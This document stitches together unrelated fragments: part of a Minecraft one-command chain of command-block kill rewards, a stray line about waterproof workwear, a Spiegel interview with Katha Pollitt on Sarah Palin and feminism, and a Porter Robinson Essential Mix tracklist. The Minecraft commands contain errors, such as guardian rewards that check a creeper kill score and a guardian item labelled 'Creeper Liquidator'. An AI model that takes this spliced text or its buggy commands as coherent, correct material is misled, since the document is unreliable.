fifty ghasts!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~ ~1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" ten levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /give @p netherrack 1 0 {display:{Name:\\\"Ghast Slicer\\\",Lore:[You have felled more than fifty ghasts!]},ench:[{id:20,lvl:2}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~ ~1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /scoreboard players add @p GhastKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~ ~1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /xp 25L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Ghast Exterminator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Ghast Exterminator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
one hundred ghasts!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~ ~1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" twenty-five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /give @p nether_brick 1 0 {display:{Name:\\\"Ghast Exterminator\\\",Lore:[You have felled more than one hundred ghasts!]},ench:[{id:20,lvl:3}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~ ~1 {Command:"/execute @a[score_GhastKills_min=100,score_GhastKills=100] ~ ~ ~ /scoreboard players add @p GhastKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~ ~1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /xp 50L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Ghast Liquidator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Ghast Liquidator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
two-hundred fifty ghasts!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~ ~1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" fifty levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~1 ~-1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /give @p obsidian 1 0 {display:{Name:\\\"Ghast Liquidator\\\",Lore:[You have felled more than two-hundred fifty ghasts!]},ench:[{id:20,lvl:4}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~1 ~1 {Command:"/execute @a[score_GhastKills_min=250,score_GhastKills=250] ~ ~ ~ /scoreboard players add @p GhastKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /xp 5L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Guardian Slayer]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Guardian Slayer\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
twenty-five guardians!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /give @p stone 1 0 {display:{Name:\\\"Guardian Slayer\\\",Lore:[You have felled more than twenty-five guardians!]},ench:[{id:61,lvl:1}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=25,score_GuardianKills=25] ~ ~ ~ /scoreboard players add @p GuardianKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /xp 10L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Guardian Butcher]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Guardian Butcher\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
fifty guardians!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" ten levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /give @p cobblestone 1 0 {display:{Name:\\\"Guardian Butcher\\\",Lore:[You have felled more than fifty guardians!]},ench:[{id:61,lvl:2}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=50,score_GuardianKills=50] ~ ~ ~ /scoreboard players add @p GuardianKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=100,score_GuardianKills=100] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=100,score_GuardianKills=100] ~ ~ ~ /xp 25L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=100,score_GuardianKills=100] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Guardian Exterminator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Guardian Exterminator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
one hundred guardians!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=100,score_GuardianKills=100] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" twenty-five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=100,score_CreeperKills=100] ~ ~ ~ /give @p stonebrick 1 0 {display:{Name:\\\"Guardian Exterminator\\\",Lore:[You have felled more than one hundred guardians!]},ench:[{id:61,lvl:3}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=100,score_GuardianKills=100] ~ ~ ~ /scoreboard players add @p GuardianKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=250,score_GuardianKills=250] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=250,score_GuardianKills=250] ~ ~ ~ /xp 50L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~1 ~-1 {Command:"/execute @a[score_GuardianKills_min=250,score_GuardianKills=250] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Guardian Liquidator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Guardian Liquidator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
two-hundred fifty guardians!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~1 ~1 {Command:"/execute @a[score_GuardianKills_min=250,score_GuardianKills=250] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" fifty levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~2 ~-1 {Command:"/execute @a[score_GuardianKills_min=250,score_CreeperKills=250] ~ ~ ~ /give @p stonebrick 1 3 {display:{Name:\\\"Creeper Liquidator\\\",Lore:[You have felled more than two-hundred fifty guardians!]},ench:[{id:61,lvl:4}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~2 ~1 {Command:"/execute @a[score_GuardianKills_min=250,score_GuardianKills=250] ~ ~ ~ /scoreboard players add @p GuardianKills 1"},Riding:{id:MinecartCommandBlock,Command:setblock ~3 ~-2 ~ redstone_block,Riding:{id:MinecartCommandBlock,Command:fill ~3 ~-2 ~-1 ~3 ~2 ~-1 command_block,Riding:{id:MinecartCommandBlock,Command:fill ~3 ~-2 ~-1 ~14 ~1 ~-1 command_block,Riding:{id:MinecartCommandBlock,Command:fill ~3 ~-2 ~1 ~3 ~2 ~1 command_block,Riding:{id:MinecartCommandBlock,Command:fill ~3 ~-2 ~1 ~14 ~1 ~1 command_block,Riding:{id:MinecartCommandBlock,Command:setblock ~1 ~1 ~ wall_sign 4 replace {Text1:"{text:\\\"===============\\\",color:black}",Text2:"{text:\\\"Kill Rewards\\\",color:dark_blue,italic:true,underlined:true}",Text3:"{text:\\\"by Dead_Pix3ls\\\",color:dark_blue}",Text4:"{text:\\\"===============\\\",color:black}"},Riding:{id:MinecartCommandBlock,Command:setblock ~1 ~ ~ wall_sign 4 replace {Text1:"{text:\\\"===============\\\",color:black}",Text2:"{text:\\\"Click Here To\\\",color:dark_red}",Text3:"{text:\\\"Destroy Machine\\\",color:dark_red}",Text4:"{text:\\\"===============\\\",color:black,clickEvent:{action:\\\"run_command\\\",value:\\\"fill ~ ~-3 ~-2 ~15 ~4 ~2 air\\\"}}"},Riding:{id:MinecartCommandBlock,Command:setblock ~1 ~-1 ~ wall_sign 4 replace {Text1:"{text:\\\"===============\\\",color:black}",Text2:"{text:\\\"Be Sure to\\\",color:black,italic:true}",Text3:"{text:\\\"Install all Parts!\\\",color:black,italic:true}",Text4:"{text:\\\"===============\\\",color:black}"},Riding:{id:MinecartCommandBlock,Command:fill ~2 ~-2 ~-2 ~15 ~2 ~2 stained_glass 0 replace quartz_block 0,Riding:{id:MinecartCommandBlock,Command:fill ~2 ~-3 ~-2 ~15 ~3 ~2 quartz_block 0 hollow,Riding:{id:MinecartCommandBlock,Command:gamerule commandBlockOutput false,Riding:{id:MinecartCommandBlock,Riding:{id:FallingSand,Block:activator_rail,Time:1,Riding:{id:FallingSand,Block:redstone_block,Time:1,Riding:{id:FallingSand,Block:stone,Time:1}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} **PART THREE*** /summon MinecartCommandBlock ~ ~1 ~ {Command:kill @e[type=MinecartCommandBlock,r=1],Riding:{id:MinecartCommandBlock,Command:setblock ~ ~-1 ~1 redstone_block,Riding:{id:MinecartCommandBlock,Command:setblock ~ ~ ~1 command_block 0 replace {Command:fill ~ ~-3 ~-1 ~ ~ ~ air},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~-2 ~-1 {Command:fill ~ ~ ~1 ~11 ~4 ~1 stone},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~-2 ~1 {Command:fill ~ ~ ~-1 ~11 ~4 ~-1 redstone_block},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /xp 5L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Magma Cube Slayer]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Magma Cube Slayer\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
twenty-five magma cubes!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /give @p gravel 1 0 {display:{Name:\\\"Magma Slayer\\\",Lore:[You have felled more than twenty-five magma cubes!]},ench:[{id:20,lvl:1}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=25,score_MagmaKills=25] ~ ~ ~ /scoreboard players add @p MagmaKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /xp 10L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Magma Butcher]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Magma Cube Butcher\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
fifty magma cubes!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" ten levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /give @p netherrack 1 0 {display:{Name:\\\"Magma Cube Butcher\\\",Lore:[You have felled more than fifty magma cubes!]},ench:[{id:20,lvl:2}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~9 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=50,score_MagmaKills=50] ~ ~ ~ /scoreboard players add @p MagmaKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~10 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /xp 25L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"Magma Cube Exterminator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Magma Cube Exterminator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
one hundred magma cubes!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~11 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" twenty-five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /give @p nether_brick 1 0 {display:{Name:\\\"Magma Cube Exterminator\\\",Lore:[You have felled more than one hundred magma cubes!]},ench:[{id:20,lvl:3}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~12 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=100,score_MagmaKills=100] ~ ~ ~ /scoreboard players add @p MagmaKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~13 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /xp 50L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~-2 ~-1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Magma Cube Liquidator]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Magma Cube Liquidator\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
two-hundred fifty magma cubes!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~14 ~-2 ~1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" fifty levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~-1 ~-1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /give @p obsidian 1 0 {display:{Name:\\\"Magma Cube Liquidator\\\",Lore:[You have felled more than two-hundred fifty magma cubes!]},ench:[{id:20,lvl:4}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~-1 ~1 {Command:"/execute @a[score_MagmaKills_min=250,score_MagmaKills=250] ~ ~ ~ /scoreboard players add @p MagmaKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~-1 ~-1 {Command:"/execute @a[score_ZomPigmanKills_min=25,score_ZomPigmanKills=25] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~-1 ~1 {Command:"/execute @a[score_ZomPigmanKills_min=25,score_ZomPigmanKills=25] ~ ~ ~ /xp 5L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~-1 ~-1 {Command:"/execute @a[score_ZomPigmanKills_min=25,score_ZomPigmanKills=25] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Zombie Pigman Slayer]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Zombie Pigman Slayer\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
twenty-five pigmen!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~-1 ~1 {Command:"/execute @a[score_ZomPigmanKills_min=25,score_ZomPigmanKills=25] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~-1 ~-1 {Command:"/execute @a[score_ZomPigmanKills_min=25,score_ZomPigmanKills=25] ~ ~ ~ /give @p gravel 1 0 {display:{Name:\\\" |
Waterproof workwear provides you as the wearer, protection from wet weather conditions.
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Pollitt: No! Sarah Palin wasn't just picked because she is a woman, or because of her mediocrity. She is a fanatical opponent of abortion, and picking her is an attempt to get the evangelical Christian voters -- who they have been tepid about McCain -- into his camp. They might have voted for him anyway, but they might not have volunteered and donated and energized their friends and neighbors. That is different now because of Palin.
SPIEGEL: What excites people about Sarah Palin?
Pollitt:They feel that she is likeable. They can relate to her because she seems ordinary, warm, enthusiastic. If Sarah Palin was my neighbor, I might like her too -- but as a potential President? It's shocking to me that people would vote for someone because they think he or she is "like me." Oh, Sarah Palin is a mom, I am a mom, so I will vote for her. That is irresponsible.
SPIEGEL: But with George W. Bush, Americans also voted for the guy that a lot of people would like to have a beer with.
Pollitt:Yes, and one would think that the past eight years have taught people that maybe it's not a very good idea.
For the first time in American history, both parties have had viable female contenders in their Presidential campaigns -- Hillary Clinton ran for the Democratic Presidential nomination, Sarah Palin is now running for Vice President. Does that represent progress for women?
Pollitt:I can answer that in two very different ways. In some long-view world historical sense, I could say: We might look back in 500 years and realize that 2008 was the year that women began to come into their own in American politics. But right now I see it a little differently. Hillary Clinton was a candidate who represented a certain liberal feminism. If she had become president, our abortion rights would have been safe. Clinton would have made sure that the anti-discrimination laws were enforced, and she would have financed a lot of programs that are good for women.
SPIEGEL: What about Sarah Palin?
Pollitt:With her, we would get the opposite. Other than in terms of her "girls can do anything" image, I don't see that her political goals will do female voters any good.
SPIEGEL: Sometimes even female politicians who don't consider themselves feminists can provide a positive influence: Former British Prime Minister Margaret Thatcher was a role model for many younger women who showed that women can wield power successfully.
Pollitt:Margaret Thatcher never said, "Vote for me because I am a wife and mother." On the contrary, she didn't present herself as relatable at all: She was the iron lady. Thatcher never made anything of her looks, she made very few concessions to conventional notions of femininity. Sarah Palin, on the other hand, is all about those notions. She represents a very old image for America, the tough but beautiful frontier woman with a gun in one and and a baby in the other.
SPIEGEL: Still, Republicans are hoping to use Sarah Palin to attract female voters who were carrying Hillary Clinton's torch
Pollitt:I don't think there are so many of these women, and I have looked pretty hard for them. You have a small group of Hillary fans who are extremely vocal. They really believe that Hillary Clinton was robbed of a nomination that was rightfully hers. These women have a whole narrative that puts the blame for Hillary's loss on some combination of party skullduggery and media sexism. But most female Palin voters will be conservative white women who haven't been paying a lot of attention to the race so far, and who identify with Palin. But they would have voted Republican anyway, if they had voted at all.
SPIEGEL: Well, did Hillary Clinton lose because of media sexism?
Pollitt: No, she made crucial mistakes in her campaign, and she bears responsibility for that. Still, one has to acknowledge that she had to face incredible sexism in public discourse. Jokes were made about her voice, and about her laugh, which was described as a "cackle." There was a nutcracker in the shape of Hillary that crushed walnuts between its steely thighs, which was good for many a laugh. And when her eyes misted up for a moment on the campaign trail in New Hampshire, there were comments about whether she was fit to be commander in chief. They would never ask that about a man! You have to say that male fear of female power was very much on view with Hillary.
SPIEGEL: What about Sarah Palin?
Pollitt:There is a tremendous amount of hypocrisy in the Republican party right now as far as their relationship to women is concerned. They complain constantly about the sexism that they had claimed didn't exist where Hillary was concerned. Before John McCain chose Sarah Palin, a journalist friend of mine said he would never choose a woman -- sexism is too deep in the Republican Party DNA. But he did pick her, so now we have seen that even the Republicans who are quite anti-feminist, can encompass having a woman in quite a powerful political position. But it was a strategic nomination which passed over many more qualified women, like the Republican senators Olympia Snowe and Susan Collins, who happen to be pro-choice.
SPIEGEL: Hillary Clinton is two years your senior, and you both belong to the first generation of American women who were raised with feminist ideas. How has the women's movement shaped American society?
Pollitt:It has changed the country very profoundly. When I went to Harvard in 1967, there was a five-percent quota on women in medical and law schools, there were ads in the newspapers, "jobs for men" and "jobs for women," a married woman couldn't get a credit card in her own name, there were states where a woman had to take her husband's name, and for an unmarried woman it was very difficult to get birth control. Abortion was illegal -- hundreds of women were killed or injured every year in back-alley or self-induced procedures. In just a few years, the women's movement dismantled a whole legal structure of inequality, and, equally important, challenged the social practices and cultural assumptions behind those laws. It was an amazing historical moment.
SPIEGEL: How did you profit from it?
Pollitt:When I was a freshman, I saw the seniors get ready for their weddings. They would graduate, and then their weddings would be the next week. They had no moment to enjoy their freedom, to find out who they really were, to travel, and to learn to manage their own affairs. It was a lockstep life: college, marriage, kids...
SPIEGEL:... depression, divorce.
Pollitt:Exactly! All that had changed by the time I graduated four years later. Only a few of my classmates got married right away -- instead, they went to medical school or law school or graduate school, they became activists or writers, like me. The lesbians came out of the closet. The women's movement gave a lot of women -- and men, too -- the freedom to lead a different kind of life from their parents, to ask themselves, "What do I want to do with my life?" Feminism created a new normal.Porter Robinson isn’t a huge name in the UK yet but that should be all set to change after taking to Radio 1’s Essential Mix show last night, live from Hull.
Last year he toured with Skrillex and Tiësto, released a Beatport-crashing EP on Skrillex’s OWSLA label, remixed tracks for Lady Gaga and Avicii, and headlined his own North American tour, so he was a natural choice to appear on the Essential Mix show some time in 2012.
Porter Robinson Essential Mix Tracklist: Tracklist:
01. Porter Robinson – Spitfire
w/ Kraze – The Party (Acappella)
w/ ID – ID
w/ Wolfgang Gartner – Space Junk
w/ Spencer & Hill feat. Lil Jon – Less Go (Chrizz Luvly Remix)
02. Tiesto – Maximal Crazy
03. Justice – D.A.N.C.E. (MSTRKRFT Remix)
w/ Kill The Noise – Kill The Noise (Alvin Risk Remix)
04. Michael Woods – VMS
05. Tiesto feat. Kay – Work Hard, Play Hard
w/ Dada Life – Kick Out The Epic Motherf**ker
06. Porter Robinson feat. Amba Shepherd – Vandalism
w/ Wolfgang Gartner – The Champ
07. Porter Robinson feat. Jano – The Seconds
08. Deadmau5 & Wolfgang Gartner – Animal Rights
w/ ID – ID
09. Skrillex & The Doors – Breakin’ A Sweat (It’s Alright) (Zedd Remix)
10. Knife Party – Destroy Them With Lazers
11. ID – ID
12. Hardwell – Spaceman
13. BT -Â Tomahawk
14. Tommy Trash – Future Folk
w/ Angger Dimas & Tommy Trash – Big Fucking House
15. Knife Party – Tourniquet
